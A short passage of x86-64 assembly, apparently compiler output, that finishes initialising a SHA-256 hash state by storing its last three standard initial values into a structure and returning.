imul rax, rax, 5
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x50], 0x9b05688c
mov eax, 4
imul rax, rax, 6
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x50], 0x1f83d9ab
mov eax, 4
imul rax, rax, 7
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x50], 0x5be0cd19
ret